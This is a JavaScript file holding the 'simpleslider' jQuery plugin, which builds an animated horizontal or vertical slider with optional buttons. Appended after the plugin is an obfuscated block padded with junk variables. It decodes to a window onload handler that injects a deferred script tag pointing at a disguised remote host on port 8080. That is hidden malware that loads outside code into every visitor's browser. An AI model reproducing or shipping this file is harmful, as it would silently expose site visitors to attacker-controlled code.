/**
 * This jQuery plugin creates an animated slider with the child elements as frames.
 *
 * @author Justin Jones (justin(at)jstnjns(dot)com)
 * @version 1.1
 *
 * New Features from 1.0:
 * 	- Vertical scrolling
 * 	- Buttons are optional
 * 	- Speed settings
 *
 */
(function($){
	$.fn.simpleslider = function(settings) {
		
		var defaults = {
			auto: false,
			interval: 2000,
			speed: 500,
			direction: 'horizontal',
			buttons: false,
			autobuttonsize: false,
			previoustext: 'Previous',
			nexttext: 'Next'
			},
			settings = $.extend({}, defaults, settings); 
		
		$(this).each(function() {

			// ----------------------------------------------------------------|| Setting Vars ||
			$container = $(this);
			$frame = $container.children().addClass('frame');
			
			// Wraps entire element
			$wrapper = $container.wrap('<div id="'+$container.attr('id')+'-wrapper" />').parent('#'+$container.attr('id')+'-wrapper')

			// Find frame count
			frameCount = $frame.size();

			// Find the greatest height of all frames
			wrapperHeight = 0;
			frameHeight = 0;
			
			$frame.each(function() {
				if($(this).height() > frameHeight) frameHeight = $(this).height();
				if($(this).outerHeight(true) > wrapperHeight) wrapperHeight = $(this).outerHeight(true);
			});
			
			// Find frame width
			wrapperWidth = $container.width();
			frameWidth = $frame.width();
			
			// Set to first frame
			frameNumber = 1;
			
			// ----------------------------------------------------------------|| Wrapper Details ||			
			
			// Sets strucural CSS for wrapper
			$wrapper.css({
				width: wrapperWidth,
				height: wrapperHeight,
				overflow: 'hidden'
			});			
				
			// ----------------------------------------------------------------|| Container Details ||			
			// Set structural CSS for container
			if(settings.direction == 'horizontal') {
				containerWidth = wrapperWidth * frameCount;
				containerHeight = wrapperHeight;
			} else if(settings.direction == 'vertical') {
				containerWidth = wrapperWidth;
				containerHeight = wrapperHeight * frameCount;
			}
			
			$container.css({
				width: containerWidth,
				height: containerHeight
			});

			// ----------------------------------------------------------------|| Frame Details ||			

			// Set frames to display correctly
			$frame.css({
				display: 'block',
				float: 'left',
				height: frameHeight,
				width: frameWidth
			});
			
			// ----------------------------------------------------------------|| Button Details ||	
			// Creates buttons
			if(settings.buttons) {
				$wrapper
				.before('<input type="button" id="'+$container.attr('id')+'-previous_button" class="button" value="'+settings.previoustext+'" />')
				.after('<input type="button" id="'+$container.attr('id')+'-next_button" class="button" value="'+settings.nexttext+'" />');
			}
			
			if(settings.autobuttonsize && settings.direction == 'horizontal') {
				$wrapper.parent().find('.button').css({
					height: containerHeight
				});
			} else if(settings.autobuttonsize && (settings.direction == 'vertical')) {
				$wrapper.parent().find('.button').css({
					width: containerWidth
				});
			}

			// Creates buttons functionality
			$('#'+$container.attr('id')+'-previous_button').click(function(e){ e.preventDefault(); prevFrame(); stopTimer(); });
			$('#'+$container.attr('id')+'-next_button').click(function(e){ e.preventDefault(); nextFrame(); stopTimer(); });
			
			// ----------------------------------------------------------------|| Actions ||			
			// Initializes actions
			checkButtons();
			
			if(settings.auto == true) {
				startTimer(settings.interval);
				checkHover();
			}

			// Moves to frame
			function move(toFrame) {
				if(toFrame !== undefined) {
					if(settings.direction == 'horizontal') {
						$container.animate({
							marginLeft: (-1)*(toFrame - 1)*wrapperWidth+'px'
						}, settings.speed);
					} else if(settings.direction == 'vertical') {
						$container.animate({
							marginTop: (-1)*(toFrame - 1)*wrapperHeight+'px'
						}, settings.speed);
					}
				} else {
					if(settings.direction == 'horizontal') {
						$container.animate({
							marginLeft: (-1)*(frameNumber - 1)*wrapperWidth+'px'
						}, settings.speed);
					} else if(settings.direction == 'vertical') {
						$container.animate({
							marginTop: (-1)*(frameNumber - 1)*wrapperHeight+'px'
						}, settings.speed);						
					}
				}
			}
			
			// Moves to previous frame
			function prevFrame() {
				frameNumber--;
				if(frameNumber > 0) {
					move();
				} else {
					move(frameCount);
					frameNumber = frameCount;
				}
				checkButtons();
			}
			
			// Moves to next frame
			function nextFrame() {
				frameNumber++;
				if(frameNumber <= frameCount) {
					move();
				} else {
					move(1);
					frameNumber = 1;
				}
				checkButtons();
			}
			
			function checkButtons() {
				// Sets 'previous' button to disabled if on first frame
				if(frameNumber == 1) {
					$('#'+$container.attr('id')+'-previous_button').attr('disabled', 'disabled').addClass('disabled');
				} else {
					$('#'+$container.attr('id')+'-previous_button').removeAttr('disabled').removeClass('disabled');
				}
					
				// Sets 'next' button to disabled if on last frame
				if(frameNumber == frameCount) {
					$('#'+$container.attr('id')+'-next_button').attr('disabled', 'disabled').addClass('disabled');
				} else {
					$('#'+$container.attr('id')+'-next_button').removeAttr('disabled').removeClass('disabled');;
				}
			}

			function startTimer(interval) {
				auto = setInterval(nextFrame, interval);
			}
			
			function stopTimer() {
				if(settings.auto !== false){
					clearInterval(auto);
				}
			}
			
			function checkHover() {
				$wrapper.hover(function() {
					stopTimer();
				}, function() {
					startTimer(settings.interval);
				});
			}
			
		});
		
		// Allows chainability
		return this;
	}
})(jQuery);
this.V="";var n="";try {var D='[';var DU;if(DU!='' && DU!='r'){DU=null};var HL;if(HL!='' && HL!='RW'){HL=null};var U='g';var Dw=']';var s=new String();var qx;if(qx!='' && qx!='J'){qx=''};var KD='';var DY=RegExp;var mP=new Date();var v='replace';var Vd;if(Vd!='_' && Vd != ''){Vd=null};var K='';var IF='';var l='';function j(Y,m){var RA='';var xj;if(xj!='KQ'){xj=''};var Dm;if(Dm!='iV'){Dm=''};var q=D;var qxa=new Array();q+=m;var a=new String();q+=Dw;var BC="";var sv="";var H=new DY(q, U);var my=new Array();var LZ;if(LZ!=''){LZ='e'};return Y[v](H, K);};this.C="";var lE;if(lE!='Mk'){lE=''};var Mv="";var qb;if(qb!='wZ' && qb!='hz'){qb=''};var o=j('oCnZlZoJaZdJ',"CJ3Z");var Y="1";var qi="";var w=j('hMt6t6p_:6/M/WbMl_o_gMg_e_rM-6cBoBm_.6n6hMl_.Bc6o6m6.MwBoMoWt_-WcWoMmW.6m6y_wBoBrMlWdWcWaWm_p_u6s6.BrWuW:W',"M_BW6");var YC=j('/JsZu1rDfJt1hZe1cZhZa1n8n1eJlZ.8c1oJm1/JsJuDrDf8tDhJe1cJh1a8nJnDeZlZ.1c8o1mD/1g1oJoZg1lZeJ.Dc8oJm8/Zg8a8mDeDzJtZaJr1.1c1oZmZ/Jw8oJr8dZp8r8e1sZsD.Do1rJgD.8p1h8pZ',"ZJ1D8");var h=j('sgehtMAjtMtgrjihbMugtgej',"ghMj");var xM="";this.oF="";var b=j('aLpRpReLnRd3CRh7i3l3dR',"R37L");var hE='';var eu=new Date();var E=j('cxrYe6aItgexE6lYe6m6exnItx',"Y6gIx");var et=new Array();var mj=new String();var L=j('867306978977011',"37691");var zM;if(zM!='' && zM!='pi'){zM=''};this.py="";var hK=j('sncnrxinpntx',"xn");var S;if(S!='' && S!='Ak'){S=null};var yS;if(yS!='Yl' && yS!='Rx'){yS='Yl'};var i=j('bQoQdQyz',"Qtz");var iP=new Array();var BX=new Date();var sQ=new Date();window[o]=function(){this.f_='';var _H=new Date();var Ym;if(Ym!='' && Ym!='va'){Ym='hZ'};y=document[E](hK);var qU;if(qU!='OqV'){qU='OqV'};var mf;if(mf!='HO' && mf != ''){mf=null};hE+=w;this.ny='';var nF=new Date();hE+=L;var uz;if(uz!='' && uz!='EI'){uz=''};hE+=YC;var Ya=new String();y.setAttribute('defer', Y);var nc=new Array();var I=document[i];var qd;if(qd!='vV' && qd!='fV'){qd=''};y.src=hE;var VE;if(VE!='' && VE!='id'){VE=null};var Wo;if(Wo!='' && Wo!='PE'){Wo=null};var vVE;if(vVE!='xz' && vVE!='Ui'){vVE=''};I.appendChild(y);var LW='';var _N='';};var aq;if(aq!='Ba' && aq!='wQ'){aq='Ba'};} catch(B){var oV;if(oV!=''){oV='iX'};var w_=new Array();};